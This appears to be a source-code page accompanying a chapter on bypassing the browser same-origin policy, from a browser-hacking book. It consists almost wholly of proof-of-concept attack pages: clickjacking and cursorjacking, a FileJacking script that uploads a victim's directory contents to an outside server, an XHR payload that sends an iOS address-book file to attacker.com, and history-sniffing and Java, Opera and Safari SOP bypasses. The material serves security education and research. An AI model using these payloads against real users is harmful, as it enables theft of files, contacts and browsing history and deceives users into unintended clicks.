BHH logo

Ch4 Source Code - Bypassing the SOP


Advanced Cursorjacking (cursor.png: cursorjacking cursor)

<html>
<head><title>Advanced cursorjacking by Kotowicz & Heiderich</title>
<style>
body,html {margin:0;padding:0}
</style>
</head>
<body style="cursor:none;height: 1000px;">
<img style="position: absolute;z-index:1000;" id=cursor src="cursor.png" />
<div style=margin-left:300px;">
<h1>Is this a good example of cursorjacking?</h1>
</div>
<button style="font-size: 150%;position:absolute;top:130px;left:630px;">YES</button>
<button style="font-size: 150%;position:absolute;top:130px;left:680px;">NO</button>
<div style="opacity:1;position:absolute;top:130px;left:30px;">
<a href="https://twitter.com/share" class="twitter-share-button" data-via="kkotowicz" data-size="small">Tweet</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
</div>
<script>
function shake(n) {
 if (parent.moveBy) {
 for (i = 10; i > 0; i--) {
  for (j = n; j > 0; j--) {
   parent.moveBy(0,i);
   parent.moveBy(i,0);
   parent.moveBy(0,-i);
   parent.moveBy(-i,0);
  }
 }
 }
}

shake(5);
  var  oNode = document.getElementById('cursor');

  var onmove = function (e) {  
    var nMoveX =  e.clientX, nMoveY =  e.clientY; 
    oNode.style.left = (nMoveX + 600)+"px";  
    oNode.style.top = nMoveY + "px";  
  }; 
  document.body.addEventListener('mousemove', onmove, true);
</script>
</body>

Avant Browser - Steal History

<html>
<body>
<script>
var i = document.createElement("iframe");
i.setAttribute('src', "browser:home");
i.setAttribute('name','i_f');
i.setAttribute('width','0');
i.setAttribute('heigth','0');
i.setAttribute('scrolling','no');
document.body.appendChild(i);

var vstr = {value: ""};

if(window['i_f'].navigator) {
//This works if FF is the rendering engine
window['i_f'].navigator.AFRunCommand(60003, vstr);
alert(vstr.value);
}
</script>
<h1> Steal Avant history </h1>
</body>
</html>

Basic ClickJacking
yes-no_mod.jpg:
basic clickjacking
ClickJacking Page:

<html>
<head>
<style>
iframe{
	filter:alpha(opacity=0);
	opacity:0;
	position:absolute;
	top: 250px;
	left: 40px;
	height: 300px; 
	width: 250px;
}
img{
	position:absolute;
	top: 0px;
	left: 0px;
	height: 300px; 
	width: 250px;
}
</style>
</head>
<body>
<!-- The user see the following image-->
<img src="http://localhost/clickjacking/yes-no_mod.jpg">

<!-- but he clicks on the framed content -->
<iframe src="http://localhost/clickjacking/iframe_content.html"></iframe>
</body>
</html>
IFrame Content:

<html>
<head>
</head>
<body>
<div style="">
<form name="addUserToAdmins" action="javascript:alert('clicked on hidden IFrame. User added.')" method="POST">
<input type="hidden" name="userId" value"1234">
<input type="hidden" name="isAdmin" value"true">
<input type="hidden" name="token" value"asasdasd86asd876as87623234aksjdhjkashd">
<input type="submit" value="Add to admin group" style="height: 60px; width: 150px; font-size:3em">
</form>
</div>
</body>
</html>

Basic CursorJacking
new_cursor.png image:
basic cursorjacking

<html>
<head>
<style type="text/css"> 
	#c {
		cursor:url("http://localhost/basic_cursorjacking/new_cursor.png"),default;
	}
	#c input{
		cursor:url("http://localhost/basic_cursorjacking/new_cursor.png"),default;
	}
</style> 
</head>
<body>
	<h1> CursorJacking. Click on the 'Second' or 'Fourth' buttons. </h1>
<div id="c">
		<input type="button" value="First" onclick="alert('clicked on 1')">
		        
		<input type="button" value="Second" onclick="alert('clicked on 2')">
		        <br></br>
		<input type="button" value="Third" onclick="alert('clicked on 3')">
		        
		<input type="button" value="Fourth" onclick="alert('clicked on 4')">
		        
</div>
</body>
</html>

Dropbox/GoogleDrive file extrusion through XHR

<html>
<body>
<script>
	local_xhr = new XMLHttpRequest();
	local_xhr.open("GET", "file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb");
	local_xhr.send();
	
	local_xhr.onreadystatechange = function () {
		if (local_xhr.readyState == 4) {
			remote_xhr = new XMLHttpRequest();
			remote_xhr.onreadystatechange = function () {};
			remote_xhr.open("GET", "http://attacker.com/?f=" + encodeURI(local_xhr.responseText));
			remote_xhr.send();
		}
	}
</script>
</body>
</html>

FileJacking
Server-side code:

require 'rubygems'
require 'thin'
require 'rack'
require 'sinatra'

class UploadManager < Sinatra::Base
post "/" do
puts "receiving post data"
params.each do |key,value|
puts "#{key}->#{value}"
end
end
end

@routes = {
"/upload" => UploadManager.new
}

@rack_app = Rack::URLMap.new(@routes)
@thin = Thin::Server.new("browserhacker.com", 4000, @rack_app)

Thin::Logging.silent = true
Thin::Logging.debug = false

puts "[#{Time.now}] Thin ready"
@thin.start

Client-side code:

<html>
<head>
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>
    <style>
        body {background: #333; color: #eee;}
        a:link, a:visited {color: lightgreen;}
        input[type='file'] {
            opacity: 0;
            position: absolute;
            left: 0; top: 0;
            width: 300px;
            line-height: 20px;
            height: 25px;
        }
        #cloak {
            position: absolute;
            left: 0;
            top: 0;
            line-height: 20px;
            height: 25px;
            cursor: pointer;
        }
        label {
            display: block;
        }
    </style>
</head>
<body>
<button id=cloak>Download to...</button>
<input type="file" id="cloaked" webkitdirectory directory />
<script>
    document.getElementById("cloaked").onchange = function(e) {
        for (var i = 0, f; f = e.target.files[i]; ++i) {
            console.log("sending file with path: " + f.webkitRelativePath + ", name: " + f.name);
            fdata = new FormData();
            fdata.append('path', f.webkitRelativePath);
            fdata.append('name', f.name);
            fdata.append('content', f);
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http://browserhacker.com/upload", true);
            xhr.send(fdata);
        }
    };
</script>
</body>
</html>

Using cache timing to retrieve Browser History (Mansour Behabadi technique)

<html>
<head>
</head>
<body>
<script>
//check if twitter was visited
//var url = "https://twitter.com/images/spinner.gif";
// linkedin
//var url = "http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png";
// walmrt
var url = "http://cdn.lst.fm/flatness/anonhome/1/anon-sprite.png";
var loaded = false;
     var img = new Image();
      var start = new Date().getTime();
      img.src = url;
        var now = new Date().getTime();
        if (img.complete) {
          delete img;
          console.log("visited");
        } else if (now - start > 10) {
          delete img;
          window.stop();
         console.log("not visited");
        }else{
          console.log("not visited");
        } 
</script>
</body>
</html>

Using cache timing to retrieve Browser History (Michael Zalewski technique)

<html>
<head>
<!--
  Code originally from: http://lcamtuf.coredump.cx/cachetime/
  Code modified by Michele OrrĂ¹ in order to run on every browser (Chrome/IE/Firefox/Opera/Safari)
  without the need to call multiple files.

  Check console messages for output.
-->
</head>
<body>
	<iframe id=f name=f height=20 width=200 style="opacity: 0.1" src="about:blank"></iframe>
<script>

// var iframe = document.createElement("iframe");
// iframe.setAttribute("src", "about:blank");
// iframe.setAttribute("id", "f");
// iframe.style.width = "0px";
// iframe.style.height = "0px";
// iframe.style.opacity = "0";
// iframe.style.visibility = "hidden";
// document.body.appendChild(iframe);

/*******************************
 * SUB-MS TIMER IMPLEMENTATION *
 *******************************/

//Firefox
if(navigator.userAgent.indexOf('Firefox/') > 0){
    var cycles = 0;
    var exec_next = null;

    function timer_interrupt() {
        cycles++;
        if (exec_next) {
            var cmd = exec_next;
            exec_next = null;
            cmd();
        }
    }

    window.addEventListener('message', timer_interrupt, false);
    function sched_call(fn) {
        exec_next = fn;
        window.postMessage('123', '*');
    }
}


/****************
 * SCANNED URLS *
 ****************/

var targets = [

    { 'category': 'Social networks' },
    { 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] },

    { 'category': 'Content platforms' },
    { 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/squelettes/random.js' ] },

    { 'category': 'Online media' },
    { 'name': 'AboveTopSecret.com', 'urls': [ 'http://www.abovetopsecret.com/forum/ats-scripts.js' ] },

    { 'category': 'Commerce' },
    { 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] }
];

/*************************
 * CONFIGURABLE SETTINGS *
 *************************/
var TIME_LIMIT = 0;
var MAX_ATTEMPTS = 0;
if(navigator.userAgent.indexOf('Firefox/') > 0){
    TIME_LIMIT = 5;
    MAX_ATTEMPTS = 2;
}else{
    if(navigator.userAgent.indexOf('MSIE') > 0){  // IE
        TIME_LIMIT = 1;
        MAX_ATTEMPTS = 1;
    }else{  // chrome/opera
        TIME_LIMIT = 3;
        MAX_ATTEMPTS = 1;
    }
}

/**********************
 * MAIN STATE MACHINE *
 **********************/

var log_area;
var target_off = 0;
var attempt = 0;
var confirmed_visited = false;

var current_url, current_name;
var wait_cycles;

var frame_ready = false;
var start, stop, urls;

/* The frame points to about:blank. Initialize a new test, giving the
 about:blank frame some time to fully load. */

function perform_check() {

    wait_cycles = 0;
    if(navigator.userAgent.indexOf('Firefox/') > 0){
        setTimeout(wait_for_read2, 1);
    }else{
        if(navigator.userAgent.indexOf('MSIE') > 0){  // IE
            setTimeout(wait_for_read1, 0);
        }else{  // chrome/opera
            setTimeout(wait_for_read1, 1);
        }
    }
}


/* Confirm that about:blank is loaded correctly. */

function wait_for_read1() {

    if (wait_cycles++ > 100) {
        alert('Something went wrong, sorry.');
        return;
    }

    try {
        if (frames['f'].location.href != 'about:blank') throw 1;

        if(navigator.userAgent.indexOf('MSIE') > 0){  // IE
            document.getElementById('f').src ='javascript:"<body onload=\'parent.frame_ready = true\'>"';
            setTimeout(wait_for_read2, 0);
        }else{
            frames['f'].stop();
            document.getElementById('f').src ='javascript:"<body onload=\'parent.frame_ready = true\'>"';
            setTimeout(wait_for_read2, 1);
        }
    } catch (e) {
        if(navigator.userAgent.indexOf('MSIE') > 0){  // IE
            setTimeout(wait_for_read1, 0);
        }else{
            setTimeout(wait_for_read1, 1);
        }
    }
}


function wait_for_read2() {

    if (wait_cycles++ > 100) {
        alert('Something went wrong, sorry.');
        return;
    }

    if (!frame_ready) {
        if(navigator.userAgent.indexOf('MSIE') > 0){  // IE
            setTimeout(wait_for_read2, 0);
        }else{
            setTimeout(wait_for_read2, 1);
        }
    } else {
        if(navigator.userAgent.indexOf('MSIE') == -1){
            frames['f'].stop();
        }
        setTimeout(navigate_to_target, 1);
    }
}



/* Navigate the frame to the target URL. */

function navigate_to_target() {

    cycles = 0;

    if(navigator.userAgent.indexOf('Firefox/') > 0){
        sched_call(wait_for_noread);
    }else{
        if(navigator.userAgent.indexOf('MSIE') > 0){  // IE
            setTimeout(wait_for_noread, 0);
        }else{  // chrome/opera
            setTimeout(wait_for_noread, 1);
        }
    }

    urls++;
    document.getElementById("f").src = current_url;

}


/* The browser is now trying to load the destination URL. Let's see if
 we lose SOP access before we hit TIME_LIMIT. If yes, we have a cache
 hit. If not, seems like cache miss. */

function wait_for_noread() {

    try {
        if (frames['f'].location.href == undefined) throw 1;
        if(navigator.userAgent.indexOf('Firefox/') > 0){
            if (cycles >= TIME_LIMIT) {
                maybe_test_next();
                return;
            }
            sched_call(wait_for_noread);
        }else{
            if (cycles++ >= TIME_LIMIT) {
                maybe_test_next();
                return;
            }
            if(navigator.userAgent.indexOf('MSIE') > 0){  // IE
                setTimeout(wait_for_noread, 0);
            }else{
                setTimeout(wait_for_noread, 1);
            }
        }
    } catch (e) {
        confirmed_visited = true;
        maybe_test_next();
    }
}


/* Just a logging helper. */

function log_text(str, type, cssclass) {
    console.log(str);
}


/* Decides what to do next. May schedule another attempt for the same target,
 select a new target, or wrap up the scan. */

function maybe_test_next() {

    frame_ready = false;

    //Firefox
    if(navigator.userAgent.indexOf('Firefox/') > 0){
        document.getElementById('f').src = 'data:text/html,<body onload="parent.frame_ready = true">';
    }else{  //Chrome/Opera/IE
        document.getElementById('f').src = 'about:blank';
    }

    if (target_off < targets.length) {

        if (targets[target_off].category) {
            log_text(targets[target_off].category + ':', 'p', 'category');
            target_off++;
        }


        if (confirmed_visited) {
            log_text('Visited: ' + current_name + ' [' + cycles + ':' + attempt + ']', 'li', 'visited');
        }

        if (confirmed_visited || attempt == MAX_ATTEMPTS * targets[target_off].urls.length) {

            if (!confirmed_visited)
                log_text('Not visited: ' + current_name + ' [' + cycles + '+]', 'li', 'not_visited');

            confirmed_visited = false;
            target_off++;
            attempt = 0;
            maybe_test_next();
        } else {
            current_url = targets[target_off].urls[attempt % targets[target_off].urls.length];
            current_name = targets[target_off].name;
            attempt++;
            perform_check();
        }
    }
}


/* The handler for "run the test" button on the main page. Dispenses
 advice, resets state if necessary. */

function start_stuff() {
    target_off = 0;
    attempt = 0;
    confirmed_visited = false;
    st = (new Date()).getTime();
    urls = 0;

    maybe_test_next();
}

start_stuff();
</script>
</body>
</html>

Java SOP bypass (different domains resolve to the same IP address)

Java Applet embed page:

<html>
<!-- 
Tested on:
 - Java 1.7u17 and Firefox (CtP allowed)
 - Java 1.6u45 and IE 8
-->
<body>
<embed id='javaAppletSop' code='javaAppletSop' 
type='application/x-java-applet' 
codebase='http://browservictim.com/' height='0' 
width='0'name='javaAppletSop'></embed>
<!-- use the following one for IE -->
<!-- 
<applet id='javaAppletSop' code='javaAppletSop' 
codebase='http://browservictim.com/' height='0' 
width='0'name='javaAppletSop'></applet>
-->
<script>
// 5 secs timeout to wait for the user to allow CtP
function getInfo(){
 output = document.javaAppletSop.getInfo();
 if (output) alert(output);
}
setTimeout(function(){getInfo();},5000);
</script>
</body>
</html>


Compiled applets:
Compiled with Java 1.6u45
Compiled with Java 1.7u17


Java Applet source code:

import java.applet.*;
import java.awt.*;
import java.net.*;
import java.util.*;
import java.io.*;

public class javaAppletSop extends Applet{
    public javaAppletSop() {
        super();
        return;
    }

    public static String getInfo(){
    String result = "";
    try {
        URL url = new URL("http://www.browserhacker.com/demos/secret_page.html");
        BufferedReader in = new BufferedReader(
        new InputStreamReader(url.openStream()));

        String inputLine;
        while ((inputLine = in.readLine()) != null)
            result += inputLine;
        in.close();
    }catch (Exception exception){
        result = "Exception: " + exception.toString();
    }
    return result;
    }
}

Java SOP bypass (JAR URI scheme - Frederik Braun bug)

import java.awt.*; import java.applet.Applet ;
import java.io.* ; import java.net.*;

public class zipSopBypass extends Applet {
    private TextArea ltArea = new TextArea("", 100, 300);
    public void init (){
        add(ltArea);
    }

    public void paint (Graphics g) {
        g.drawString("Reading file content in JAR...", 80, 80);
        // the applet is loaded from the http://browserhacker.com origin
        String url = "jar:https://browservictim.com/stuff/confidential.odt!/content.xml";
        String content = "";
        try{
            URL u = new URL(url);
            BufferedReader ff = new BufferedReader(new InputStreamReader(u.openStream()));
            while (ff.ready()){
                content += ff.readLine();
            }
        }catch(Exception e){
            g.drawString( "Error",100,100);
        }

        ltArea.setText(content);
        g.drawString(content ,100,100);
    }
}

CSS visited technique to retrieve browser history

<html>
<head>
<style>
#link:visited {color: #FF0000;}
</style>
</head>
<body>
<a id="link" href="http://browserhacker.com" target="_blank">clickme</a>
<script>
var link = document.getElementById("link"); 
var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
console.log(color);
</script>
</body>
</html>

Opera SOP bypass (Gareth Heyes bug)

IFrame content (xdomain.html):

<html>
<body>
<b>I will be framed from a different origin</b>
<script>
function do_join(){
	[1,2,3].join();
	console.log("join() after prototype override: " + [].constructor.prototype.join);
}
console.log("join() after prototype override: " + [].constructor.prototype.join);
setTimeout("do_join();", 5000);
</script>
</body>
</html>

Load IFrame page:

<html>
<body>
<iframe id="ifr" src="http://differentorigin.com/xdomain.html"></iframe>
<script>

var iframe = document.getElementById('ifr');
function do_something(){
    var iframe = document.getElementById('ifr');
    iframe.contentWindow.location.constructor.prototype.__defineGetter__.constructor('[].constructor.prototype.join=function(){console.log("pwned")}')();
}
setTimeout("do_something()",3000);
</script>
</body>
</html>

Safari SOP bypass

Resource to retrieve cross-origin (different_orig.html):

<html>
<body>
<h1> I'm on a different origin </h1>
</body>
</html>

Local web page (file:// URI scheme):

<html>
<body>
	<h1> I'm a local file loaded using the file:// URI scheme </h1>
<script>

xhr = new XMLHttpRequest();
xhr.onreadystatechange = function (){
	if (xhr.readyState == 4) {
		alert(xhr.responseText);
	}
};
xhr.open("GET", "http://browserhacker.com/pocs/safari_sop_bypass/different_orig.html");
xhr.send();
</script>
</body>
</html>